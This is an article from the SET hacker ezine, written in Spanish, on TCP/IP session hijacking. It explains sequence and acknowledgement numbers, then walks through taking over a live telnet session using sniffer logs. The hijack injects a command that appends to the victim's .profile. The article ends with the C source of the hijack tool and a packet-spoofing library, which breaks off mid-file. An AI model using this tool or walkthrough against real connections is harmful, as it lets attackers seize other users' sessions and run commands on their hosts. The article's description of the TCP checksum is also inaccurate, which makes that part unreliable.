Copy Link
Add to Bookmark
Report

SET 019 0x0d

  

-[ 0x0D ]--------------------------------------------------------------------
-[ IP HIJACKING ]------------------------------------------------------------
-[ by inetd ]---------------------------------------------------------SET-19-


IP-Hijacking v0.1b por inetd
inetd@mailcity.com
Colaboracion para SET


Introduccion
___________________________________________________________________

El IP-Hijacking al contrario que los tradicionales ataques que usan
sniffing de paquetes, es un ataque activo, de la forma tradicional,
conseguiamos una combinacion login/passwd que podiamos utilizar en
un futuro, de ahi que se les llame ataques pasivos, en los atques
activos como el IP-Hijacking lo que hacemos es robar una conexion
ya establecida, una conexi¢n activa, este tipo de ataques se suelen
utilizar contra maquinas que utilizan metodos de autenticacion como
s/key (password de un solo uso) y en los que los ataques de toda la
vida no surgen ningun efecto. Los ataques activos se basan en el
sniffing de un flujo de paquetes para encontrar una serie de datos
que nos van a servir para "suplantar" a una de las maquinas que
forma parte de la sesion que estamos escuchando, como este tipo de
ataques se basan en sniffing, no nos serviran para nada si el flujo
que estamos escuchando esta encriptado de cualquier forma.

Paquetes TCP/IP
____________________________________________________________________

Para entender este tipo de ataque hay que entender como se comporta
principalmente el protocolo TCP y la forma de los paquetes que se
intercambian, aqui va una peque¤a introduccion al funcionamiento de
TCP/IP. Una conexion TCP/IP esta definida unicamente por cuatro
parametros, la direccion IP del emisor (el que inicia la conexion), la
direccion IP del receptor (el que recibe la conexion), el
puerto TCP del emisor y el puerto TCP del recpetor.
El mecanismo que utiliza TCP/IP para saber si debe o no debe aceptar un
paquete esta basado en chequear una serie de valores en cada paquete, si
estos valores son los esperados por el receptor, el paquete es valido, en
caso contrario se rechazan, el mecanismo es el siguiente, todos los
paquetes llevan dos numeros que los identifican, el mas importante en el
numero de secuencia o SEQ NUMBER, este numero de 32bits indica, el numero
de bytes enviados, cuando se crea una conexion, el primer numero de
secuencia que se envia se genera de forma aleatoria, es decir el numero
de secuencia del primer paquete en una conexion no es 0, este numero de
secuencia va aumentando al menos en una unidad con cada paquete que se
envia, aunque lo normal es que aumente el numero de bytes enviados en los
paquetes de datos y que aumente uno en los paquetes de control, el otro
numero, intimamente ligado al numero de secuencia, es el numero de
reconocimiento o ACK NUMBER, tanto el cliente como el servidor almacenan
en este campo el valor del numero de secuencia siguiente que esperan
recibir, esto se explicara en mas detalle mas adelante.

SVR_SEQ : numero de secuencia del siguiente byte que va a ser
enviado por el servidor.
SVR_ACK : siguiente byte que va a ser recibido por el servidor
(es el numero de secuencia del ultimo byte recivido
mas uno)
CLT_SEQ : numero de secuencia del siguiente byte que va a ser
enviado por el cliente.
CLT_ACK : siguiente byte que va a ser recibido por el cliente.

CLT_WIND : tamaño de bytes que puede recibir el cliente sin
tener que verificarlos
SVR_WIND : tamaño de bytes que puede recibir el servidor sin
tener que verificarlos

En cada nueva sesion se generan nuevos y diferentes numeros de secuencia,
para evitar que dos sesiones simultaneas tengan la misma serie de
identificadores. Aparte de los numeros SEQ/ACK la cabecera de un paquete
TCP contiene los siguientes campos :

SOURCE PORT : Puerto de origen
DESTINATION PORT : Puerto de destino
SEQUENCE NUMBER : El numero de secuencia del primer byte de
este paquete
ACKNOWLEDGE NUMBER : El numero de secuencia esperado para el
siguiente byte que se va a recibir
DATA OFFSET : Segmento de datos
BITS DE CONTROL :

URG : Pone en modo urgente el envio de este paquete
ACK : Indica si se ha de enviar el ACK_NUMBER o no.
PSH : Funcion push
RST : Reset, resetea la conexion
SYN : Peticion de sincronizacion de numeros de secuencia
FIN : Indica al receptor del paquete que no va a haber mas
datos del emisor. Finaliza la conexion.
WINDOW : Tamaño de la ventana del emisor, indica el numero de bytes
que se pueden recivir sin ser verificados.
CHECKSUM : Este campo sirve para chequear la integridad del paquete,
si el valor almacenado en este campo es igual al tamaño
(header + data) con el que fue enviado el paquete, el
paquete llega correctamente.
URGENT POINTER :
OPTIONS : Otras opciones.


Apertura de una conexion
____________________________________________________________________________

Vamos a ver como se establece una conexion sin intercambio de datos entre un
cliente y un servidor, al principio, la conexion por parte del cliente esta
cerrada (CLOSED) y en el lado del servidor esta en estado de escucha (LISTEN)
en espera de nuevas conexiones. El cliente manda el primer paquete y le dice
al servidor que sincronice numeros de secuencia con el flag SYN:
NOTA: Equivalencias: SEG_SEQ --> numero de secuencia del paquete actual
SEG_ACK --> numero ACK del paquete actual
SEG_FLAG -> bits de control del paquete actual

Primer paquete del cliente :

SEG_SEQ = CLT_SEQ_0 (este se produce en el lado del cliente)
SEG_FLAG = SYN

Estado de la conexion : SYN-SENT
Cuando el servidor recibe este primer paquete fija su primer numero
ACK al CLT_SEQ que le acaba de llegar y establece el flag SYN:

SEG_SEQ = SVR_SEQ_0 (esto se produce en el lado del servidor,
que genera su primer numero SEQ para marcar
los paquetes que envie)
SEQ_ACK = CLT_SEQ_0+1 (el servidor fija su ACK al SEQ number
del proximo paquete que espera recibir)
SEG_FLAG = SYN (comienza la sincronizacion de numeros de
secuencia)

Estado de la conexion : SYN-RECEIVED
Cuando el cliente recibe este paquete empieza a reconocer la serie
de numeros de frecuencia del servidor

SEG_SEQ = CLT_SEQ_0+1 (Aumenta su SEQ para ajustarlo a lo que
espera recibir el servidor, estamos de
nuevo en el lado del cliente)
SEG_ACK = SVR_SEQ_0+1 (Fija su ACK number al ultimo numero de
secuencia que ha recibido del servidor
mas uno, que es lo que espera recibir
en el siguiente paquete que le envie el
servidor)
el cliente fija su ACK number inicial a SVR_SEQ_0+1 tenemos que
CLT_ACK = SVR_SEQ_0+1, este proceso se va a repetir para cada
intercambio de paquetes.

Estado de la conexion: ESTABLISHED
Cuando el servidor reciba este paquete sabra que se ha establecido
una nueva conexion y ambos, cliente y servidor, tendran los datos
suficientes para empezar a intercambiar paquetes de forma fiable,
en este punto tenemos :

CLT_SEQ = CLT_SEQ_0 + 1 Lo que va a enviar en el proximo paquete
CLT_ACK = SVR_SEQ_0 + 1 Lo que espera recibir en el proximo pqt
SVR_SEQ = SVR_SEQ_0 + 1 Lo que va a enviar en el proximo paquete
SVR_ACK = CLT_SEQ_0 + 1 Lo que espera recibir el el proximo pqt

Con lo que se debe cumplir siempre :

CLT_ACK = SRV_SEQ y SVR_ACK = CLT_SEQ

en el caso en que no se cumplan estas igualdades nos encontraremos
ante un estado desincronizado.


Cierre de una conexion
_____________________________________________________________________________

Una conexion se puede cerrar de dos formas, o enviando un paquete con el flag
FIN activo, o enviando un paquete con el flag RST activo, si es el flag FIN
el que se activa, el receptor del paquete se queda en un estado de espera
CLOSE-WAIT y empieza a cerrar la conexion, si es el flag RST el que esta
activado, el receptor del paquete cierra la conexion directamente y pasa a
un estado CLOSED liberando todos los recursos asociados a esta conexion.


Errores asociados a los numeros SEQ/ACK
____________________________________________________________________________

Supongamos que tenemos una conexion establecida entre un cliente y un
servidor, solo seran aceptables los paquetes cuyo numero de secuencia SEQ se
encuentre en el intervalo [SVR_ACK, SVR_ACK + SVR_WIND] para el servidor y
[CLT_ACK, CLT_ACK + CLT_WIND] para el cliente.

NOTA: CLT_WIND y SRV_WIND son los tamaños del window de cliente y servidor

Cuando el SEQ del paquete enviado esta por encima o por debajo de los limites
de estos intervalos, el paquete es deshechado y el receptor del paquete envia
un paquete al emisor con el numero ACK igual al SEQ del paquete que se
esperaba recibir, por ejemplo, el cliente envia al servidor el siguiente
paquete:

SEG_SEQ = 2500, (paquete del cliente)
SRV_ACK = 1500,
SVR_WIND = 50,

como SEG_SEQ (2500) es mayor que SVR_ACK + SVR_WIND (1550) y los valores
esperados para el numero de secuencia del paquete eran [1500,1550], el
servidor genera y envia un paquete con los siguientes numeros :

SEG_SEQ = SVR_SEQ
SEG_ACK = SVR_ACK

que era lo que el servidor esperaba encontrar en el paquete.

El Ataque IP-Hijacking
____________________________________________________________________________

El ataque IP-hijacking consiste en hacer creer a una maquina A que esta
manteniendo una conexion con una maquina B que los paquetes que esta
enviando esta maquina no son validos y por el contrario que los paquetes
que vamos a enviar nosotros si son validos, de esta manera nos apoderamos
de una conexion, a la maquina A le parece todo normal y la maquina B
B piensa que la maquina A le ha cerrado la conexion por cualquier razon.

A <-------------------------------X----------------->B
|
AT <--------------------------------

Para poder secuestrar la conexion establecida entrea A y B tenemos que ser
capaces de hacer creer a A que lo paquetes de B dejan de ser validos, para
ello lo que vamos a hacer que los numeros SEQ/ACK que envia B sean erroneos,
para ello, lo que hacemos es insertar datos adicionales a los paquetes que
envia B, de esta manera A actualizara sus numeros ACK, y aceptara estos
datos modificados, con los nuevos numeros SEQ/ACk que nosotros hemos forzado,
a partir de este momento, todos los paquetes que envie
B seran rechazados, ya que esta utilizando los SEQ/ACK antiguos, una vez que
hemos logrado esto, ya esta hecho, ya tenemos el control de la conexion, lo
unico que tenemos que hacer ahora es calcular los numeros SEQ/ACK de cada
paquete que enviemos para que corresponda con lo que espera el servidor.

Puesta en practica - Ejemplo con sniffit/hijack.c
_____________________________________________________________________________

NOTA: Estos datos estan recopilados de otros documentos, son logs del programa
sniffit, las direcciones IP no son reales.

Linea de log de sniffit :

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex) : 5C8223EA ACK (hex) : C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
(Aqui va lo que es el contenido del paquete, los datos)

1) Supongamos una sesion TELNET entre A (cliente) y B (servidor) y nuestra
maquina H en la misma red que A, primero utilizamos un sniffer para
encontrar una sesion telnet con una shell, si puede ser la del root, pues
mucho mejor, en este caso se usa sniffit que compila sin problemas bajo
Linux, encontramos un telnet/shell y arrancamos hijack (hijack es un
programa del mismo autor que sniffit y del cual se incluye el codigo
fuente al final del documento, este programa automatiza el proceso de
hijacking)

hijack 166.66.66.1 2035 111.11.11.11

en nuestra maquina H, cuando hijack encuentre un paquete de A->B se pone
en funcionamiento :

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EA ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45
E 3F ? 9D . C1 .2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 .A4
J 67 g F6 . 50 P 18 . 7C 00 . 6D M 29 ) 00 . 00 . 6C l

2) El servidor hace lo que le ordena el cliente, muestra una "l"

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F6 ACK (hex): 5C8223EB (CLT_SEQ + 1)
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A
* 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \
82 . 23 # EB . 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l

3) El cliente envia un paquete ACK como respuesta al echo anterior, los
paquetes ACK simples no contienen datos y no son necesarios para calcular
el conjunto de numeros ACK/SEQ.

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB (SVR_ACK) ACK (hex): C34A67F7 (SVR_SEQ + 1)
FLAGS: -A---- (ACK pkt) Window: 7C00

Ahora es el momento de calcular los numeros SEQ/ACK, siempre teniendo
en cuenta los rangos para estos numeros, calculamos los numeros a partir
de los existentes en el primer paquete que se envio:

SEQ (hex) : 5C8223EA
ACK (hex) : C34A67F6

Creamos unos cuantos paquetes con los nuevos numeros calculados y se los
enviamos a B como si fuesemos A, se los mandamos como si fuesen justo
despues de el primer paquete, del que hemos calculado los numeros SEQ/ACK,
primero enviamos espacios y retornos de carro para limpiar la linea de
comandos, en este punto, la maquina A es incapaz de saber que ha sido
secuestrada y que sus paquetes no llegan al servidor.
Hay que fijarse que los primeros numeros que enviamos son los mismos que
los que se enviaron en el segundo paquete que envio el cliente, que son
los que corresponden a partir de los numeros calculados:

SEQ_0 (hex) : 5C8223EA + 1 = 5C8223EB --> primer numero que enviamos
ACK_0 (hex) : C34A67F6 + 1 = C34A67F7 --> primer numero que enviamos

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB (SVR_ACK) ACK (hex): C34A67F7 (SVR_SEQ + 1)
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45
E 3F ? 9D . C1 . 24 * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 .
4A J 67 g F6 . 50 P 18 . 7C 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08
. 08 . 08 . 08 . 08 . 0A . 0A .

La salida del siguiente paquete que nos devuelva el servidor nos va a decir
si hemos tenido exito o no, si los numeros SEQ/ACK que vengan en el paquete
coinciden con los que nosotros calculemos sabremos que hemos tenido exito.

SVR_SEQ (hex) : C34A7F7
SVR_ACK (hex) : CLT_SEQ + Tamaño de bytes enviados (0A)
SVR_ACK (hex) : 5C8223EB + 0A = 5C8223F5

Si el ACK coincide con el que hemos calculado, voila, podremos estar
totalmente seguros que la conexion es nuestra, y los paquetes que sigue
enviando A no valen para nada, luego veremos como hacemos que A no
sospeche nada.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1040
SEQ (hex): C34A7F7 (CLT_ACK) ACK (hex): 5C8223F5 (CLT_SEQ + 0A)
FLAGS: -AP--- Window: 2238

4) En este punto, y si todo va bien, hijack, intentara rastrear de nuevo la
pareja de numeros SEQ/ACK para empezar a enviar los comandos que queramos
ejecutar, a estas alturas el cliente de telnet que corria en A se ha
quedado colgado como si se tratase de un error normal, es casi imposible
que A se de cuenta de que ha sido secuestrada. Hijack se basa en los
paquetes devueltos con los numeros esperados por el servidor (ver Errores
asociados a los numeros SEQ/ACK) para ir recalculando la pareja de
numeros.

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223B (SEQ erroneo) ACK (hex): C34A67F7 (ACK erroneo)
FLAGS: -AP--- Window: 7C00

Como el paquete que le acaba de llegar al servidor es erroneo, sus numeros
no se corresponden con lo que el servidor se esperaba, el servidor nos
devuelve un paquete ACK simple con los numeros que esperaba, lo que nos da
para volver a recalcular, si es que hiciese falta.

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5 (CLT_SEQ + 0A, el esperado)
FLAGS: -A---- (ACK simple) Window: 2238

5) Ahora vamos a mandar nuestro primer comando por nuestra flamante conexion
recien secuestrada, hijack ha vuelto a calcular la pareja de numeros y
ahora nos permite empezar a mandar comandos, hay ue fijarse que los
numeros ACK/SEQ que enviamos ahora nos los ha proporcionado el propio
servidor.

echo "
echo HACKED" >> $HOME/.profile<ENTER>

TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223F5 (SRV_ACK) ACK (hex): C34A680B (Valores correctos)
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45
E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 .
4A J 68 h 0B . 50 P 18 . 7C 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o
20 22 "
65 e 63 c 68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20
3E > 3E > 24 $ 48 H 4F O 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i
6C l 65 e 0A . 00 .

Hemos enviado 37 bytes, podemos calcular de nuevo los numeros que nos
tiene que devolver el servidor en el proximo paquete si todo ha salido
bien, seran los siguientes :

SVR_SEQ = C34A680B
SVR_ACK = CLT_SEQ + Bytes enviados (37 en hexadecimal = 025)
SVR_ACK = 5C8223F5 + 025 = 5C82241A

TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B (CLT_ACK) ACK (hex): 5C82241A (CLT_SEQ + 025)
FLAGS: -AP--- Window: 2238

Parece que todo funciona bien, ahora podemos seguir mandando comandos o
lo que queramos, la conexion se puede cerrar mandando un paquete RST o
un FIN, es mas recomendable enviar un paquete FIN ya que nos devuelve la
confirmacion de que ha sido cerrada la conexion, aunque si tenemos mucha
prisa RST es lo mas efectivo.

La salida de hijack tiene que ser algo parecido a esto :

Starting Hijacking Demo - Brecht Clarehout 1996
-----------------------------------------------

Takeover phase 1 : Stealing connection.
Sending Spoofed clean-up data...
Waiting for sppof to be confirmed...
Phase 1 ended.

Takeover phase 2 : Getting on track with SEQ/ACK´s again
Server SEQ: C34A68B (hex) ACK: 5C8223F5 (hex)
Phase 2 ended.

Takeover phase 3 : Sending MY data.
Sending evil data.
Waiting for evil data to be confirmed...
Phase 3 ended.


Codigo fuente de hijcak.c
_______________________________________________________________________

/**************************************************************************/
/* Hijack - Example program on connection hijacking with IP spoofing */
/* (illustration for 'A short overview of IP spoofing') */
/* */
/* Purpose - taking control of a running telnet session, and executing */
/* our own command in that shell. */
/* */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This program is for educational purposes only. I am in */
/* NO way responsible for what you do with this program, */
/* or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* ETHERNET support ("
eth0" device) */
/* If you network configuration differs it shouldn't be to */
/* hard to modify yourself. I got it working on PPP too, */
/* but I'm not including extra configuration possibilities */
/* because this would overload this first release that is */
/* only a demonstration of the mechanism. */
/* Anyway if you only have ONE network device (slip, */
/* ppp,... ) after a quick look at this code and spoofit.h */
/* it will only take you a few secs to fix it... */
/* People with a bit of C knowledge and well known with */
/* their OS shouldn't have to much trouble to port the code.*/
/* If you do, I would love to get the results. */
/* */
/* Compiling - gcc -o hijack hijack.c */
/* */
/* See also - Sniffit (for getting the necessairy data on a connection) */
/**************************************************************************/

#include "
spoofit.h" /* My spoofing include.... read licence on this */

/* Those 2 'defines' are important for putting the receiving device in */
/* PROMISCUOUS mode */
#define INTERFACE "
eth0" /* first ethernet device */
#define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */

#define PERSONAL_TOUCH 666

int fd_receive, fd_send;
char CLIENT[100],SERVER[100];
int CLIENT_P;

void main(int argc, char *argv[])
{
int i,j,count;
struct sp_wait_packet attack_info;
unsigned long sp_seq ,sp_ack;
unsigned long old_seq ,old_ack;
unsigned long serv_seq ,serv_ack;

/* This data used to clean up the shell line */
char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a};
char evil_data[]="
echo \"echo HACKED\" >>$HOME/.profile\n";

if(argc!=4)
{
printf("
Usage: %s client client_port server\n",argv[0]);
exit(1);
}
strcpy(CLIENT,argv[1]);
CLIENT_P=atoi(argv[2]);
strcpy(SERVER,argv[3]);

/* preparing all necessary sockets (sending + receiving) */
DEV_PREFIX = INTERFACE_PREFIX;
fd_send = open_sending();
fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */

printf("
Starting Hijacking demo - Brecht Claerhout 1996\n");
printf("
-----------------------------------------------\n");

for(j=0;j<50;j++)
{
printf("
\nTakeover phase 1: Stealing connection.\n");
wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
printf("
Sending Spoofed clean-up data...\n");
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,
sp_seq,sp_ack,ACK|PSH);
/* NOTE: always beware you receive y'r OWN spoofed packs! */
/* so handle it if necessary */
count=0;
printf("
Waiting for spoof to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("
Phase 1 unsuccesfully ended.\n");}
else {printf("
Phase 1 ended.\n"); break;};
};

printf("
\nTakeover phase 2: Getting on track with SEQ/ACK's again\n");
count=serv_seq=old_ack=0;
while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
if(count!=PERSONAL_TOUCH)
{printf("
Phase 2 unsuccesfully ended.\n"); exit(0);}
printf("
Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack);
printf("
Phase 2 ended.\n");

printf("
\nTakeover phase 3: Sending MY data.\n");
printf("
Sending evil data.\n");
transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
count=0;
printf("
Waiting for evil data to be confirmed...\n");
while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
if(count!=PERSONAL_TOUCH)
{printf("
Phase 3 unsuccesfully ended.\n"); exit(0);}
printf("
Phase 3 ended.\n");

}


Codigo fuente de spoofit.h
____________________________________________________________________________________

/**************************************************************************/
/* Spoofit.h - Include file for easy creating of spoofed TCP packets */
/* Requires LINUX 1.3.x (or later) Kernel */
/* (illustration for 'A short overview of IP spoofing') */
/* V.1 - Copyright 1996 - Brecht Claerhout */
/* */
/* Purpose - Providing skilled people with a easy to use spoofing source */
/* I used it to be able to write my tools fast and short. */
/* Mind you this is only illustrative and can be easily */
/* optimised. */
/* */
/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This file is for educational purposes only. I am in */
/* NO way responsible for what you do with this file, */
/* or any damage you or this file causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* If you know a little about your OS, shouldn't be to hard */
/* to port. */
/* */
/* Important note - You might have noticed I use non standard packet */
/* header struct's. How come?? Because I started like */
/* that on Sniffit because I wanted to do the */
/* bittransforms myself. */
/* Well I got so damned used to them, I keep using them, */
/* they are not very different, and not hard to use, so */
/* you'll easily use my struct's without any problem, */
/* this code and the examples show how to use them. */
/* my apologies for this inconvenience. */
/* */
/* None of this code can be used in commercial software. You are free to */
/* use it in any other non-commercial software (modified or not) as long */
/* as you give me the credits for it. You can spread this include file, */
/* but keep it unmodified. */
/* */
/**************************************************************************/
/* */
/* Easiest way to understand this library is to look at the use of it, in */
/* the example progs. */
/* */
/**** Sending packets *****************************************************/
/* */
/* int open_sending (void) */
/* Returns a filedescriptor to the sending socket. */
/* close it with close (int filedesc) */
/* */
/* void transmit_TCP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest,unsigned short sp_dest_port, */
/* unsigned long sp_seq, unsigned long sp_ack, */
/* unsigned short sp_flags) */
/* fire data away in a TCP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options (you should do the padding) */
/* TCP options (you should do the padding) */
/* data to be transmitted */
/* (NULL is nothing) */
/* note that all is optional, and IP en TCP options are*/
/* not often used. */
/* All data is put after eachother in one buffer. */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_tcpoptlen : length of TCP options (in bytes) */
/* sp_datalen : amount of data to be transmitted (bytes) */
/* sp_source : spoofed host that"
sends packet" */
/* sp_source_port: spoofed port that "
sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* sp_seq : sequence number of packet */
/* sp_ack : ACK of packet */
/* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */
/* */
/* void transmit_UDP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest, unsigned short sp_dest_port) */
/* fire data away in an UDP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options */
/* data to be transmitted */
/* (NULL if none) */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_datalen : amount of data to be transmitted */
/* sp_source : spoofed host that"
sends packet" */
/* sp_source_port: spoofed port that "
sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* */
/**** Receiving packets ***************************************************/
/* */
/* int open_receiving (char *rc_device, char mode) */
/* Returns fdesc to a receiving socket */
/* (if mode: IO_HANDLE don't call this twice, global var */
/* rc_fd_abc123 is initialised) */
/* rc_device: the device to use e.g. "
eth0", "ppp0" */
/* be sure to change DEV_PREFIX accordingly! */
/* DEV_PREFIX is the length in bytes of the header that */
/* comes with a SOCKET_PACKET due to the network device */
/* mode: 0: normal mode, blocking, (read will wait till packet */
/* comes, mind you, we are in PROMISC mode) */
/* IO_NONBLOCK: non-blocking mode (read will not wait till */
/* usefull for active polling) */
/* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
/* (IO_HANDLE is not recommended to use, as it should be */
/* modified according to own use, and it works bad on heavy */
/* traffic continuous monitoring. I needed it once, but left it */
/* in to make you able to have a look at Signal handled IO, */
/* personally I would have removed it, but some thought it */
/* doesn't do any harm anyway, so why remove... ) */
/* (I'm not giving any more info on IO_HANDLE as it is not */
/* needed for the example programs, and interested people can */
/* easilythey figure the code out theirselves.) */
/* (Besides IO_HANDLE can only be called ONCE in a program, */
/* other modes multiple times) */
/* */
/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */
/* unsigned char *proto) */
/* This waits for a packet (mode default) and puts it in buffer or */
/* returns whether there is a pack or not (IO_NONBLOCK). */
/* It returns the packet length if there is one available, else 0 */
/* */
/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */
/* char *wp_source, unsigned short wp_source_port, */
/* char *wp_dest, unsigned short wp_dest_port, */
/* int wp_flags, int wait_time); */
/* wp_fd: a receiving socket (default or IO_NONBLOCK) */
/* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */
/* ACK, flags, datalen of that packet. For further packet */
/* handling see the examples. */
/* struct sp_wait_packet { */
/* unsigned long seq,ack; */
/* unsigned short flags; */
/* int datalen; */
/* }; */
/* wp_source, wp_source_port : sender of packet */
/* wp_dest, wp_dest_port : receiver of packet */
/* wp_flags: flags that should be present in packet.. (mind you there */
/* could be more present, so check on return) */
/* note: if you don't care about flag, use 0 */
/* wait_time: if not zero, this function will return -1 if no correct */
/* packet has arrived within wait_time secs. */
/* (only works on IO_NONBLOCK socket) */
/* */
/* void set_filter (char *f_source, unsigned short f_source_port, */
/* char *f_dest, unsigned short f_dest_port) */
/* (for use with IO_HANDLE) */
/* Start the program to watch all trafic from source/port to */
/* dest/port. This enables the updating of global data. Can */
/* be called multiple times. */
/* */
/* void close_receiving (void) */
/* When opened a IO_HANDLE mode receiving socket close it with */
/* this. */
/* */
/**** Global DATA (IO_HANDLE mode) ****************************************/
/* */
/* When accessing global data, copy the values to local vars and then use */
/* them. Reduce access time to a minimum. */
/* Mind you use of this is very limited, if you are a novice on IO, just */
/* ignore it, the other functions are good enough!). If not, rewrite the */
/* handler for your own use... */
/* */
/* sig_atomic_t SP_DATA_BUSY */
/* Put this on NON-ZERO when accesing global data. Incoming */
/* packets will be ignored then, data can not be overwritten. */
/* */
/* unsigned long int CUR_SEQ, CUR_ACK; */
/* Last recorded SEQ and ACK number of the filtered "
stream". */
/* Before accessing this data set SP_DATA_BUSY non-zero, */
/* afterward set it back to zero. */
/* */
/* unsigned long int CUR_COUNT; */
/* increased everytime other data is updated */
/* */
/* unsigned int CUR_DATALEN; */
/* Length of date in last TCP packet */
/* */
/**************************************************************************/

#include "
sys/socket.h" /* includes, what would we do without them */
#include "
netdb.h"
#include "
stdlib.h"
#include "
unistd.h"
#include "
stdio.h"
#include "
errno.h"
#include "
netinet/in.h"
#include "
netinet/ip.h"
#include "
linux/if.h"
#include "
sys/ioctl.h"
#include "
sys/types.h"
#include "
signal.h"
#include "
fcntl.h"

#undef DEBUG
#define IP_VERSION 4 /* keep y'r hands off... */
#define MTU 1500
#define IP_HEAD_BASE 20 /* using fixed lengths to send */
#define TCP_HEAD_BASE 20 /* no options etc... */
#define UDP_HEAD_BASE 8 /* Always fixed */

#define IO_HANDLE 1
#define IO_NONBLOCK 2

int DEV_PREFIX = 9999;
sig_atomic_t WAIT_PACKET_WAIT_TIME=0;

/**** IO_HANDLE ************************************************************/
